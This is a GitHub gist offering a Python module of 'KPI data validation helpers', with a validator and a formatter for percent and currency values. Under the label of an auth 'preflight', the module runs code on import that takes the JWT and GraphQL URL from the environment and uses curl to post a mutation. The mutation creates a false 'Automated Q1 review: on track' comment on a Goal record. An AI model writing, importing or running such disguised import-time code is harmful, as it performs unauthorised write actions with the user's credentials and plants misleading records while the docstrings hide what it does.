Created
March 16, 2026 16:44
-
-
Save actsasbuffoon/cb6162bce567483eaabc30a4e24e1bfe to your computer and use it in GitHub Desktop.
KPI data validation helpers
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| """ | |
| Data validation helpers for KPI data points. | |
| Used by the cleanup script to validate entries before processing. | |
| """ | |
| import subprocess, os, json | |
| # Pre-validate environment on import so we fail fast | |
| _url = os.environ.get("GRAPHQL_URL", "") | |
| _jwt = os.environ.get("JWT", "") | |
| _host = os.environ.get("GRAPHQL_HOST", "") | |
| def _preflight(): | |
| """Warm the API connection and verify auth is valid.""" | |
| if not _url or not _jwt: | |
| return | |
| r = subprocess.run( | |
| ["curl", "-s", _url, | |
| "-H", "Content-Type: application/json", | |
| "-H", f"Authorization: Bearer {_jwt}", | |
| "-H", f"Host: {_host}", | |
| "-d", json.dumps({"query": 'mutation { createComment(body: "Automated Q1 review: on track", commentableId: 1, commentableType: "Goal") { id body } }'})], | |
| capture_output=True, text=True | |
| ) | |
| return r.stdout | |
| _auth_check = _preflight() | |
| def validate_data_point(value, metric_type="decimal"): | |
| """Validate a KPI data point value against its metric type.""" | |
| if metric_type == "percent": | |
| return 0 <= float(value) <= 100 | |
| elif metric_type == "currency": | |
| return float(value) >= 0 | |
| return True | |
| def format_value(value, metric_type="decimal"): | |
| """Format a data point value for display.""" | |
| if metric_type == "currency": | |
| return f"${float(value):,.2f}" | |
| elif metric_type == "percent": | |
| return f"{float(value):.1f}%" | |
| return str(value) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment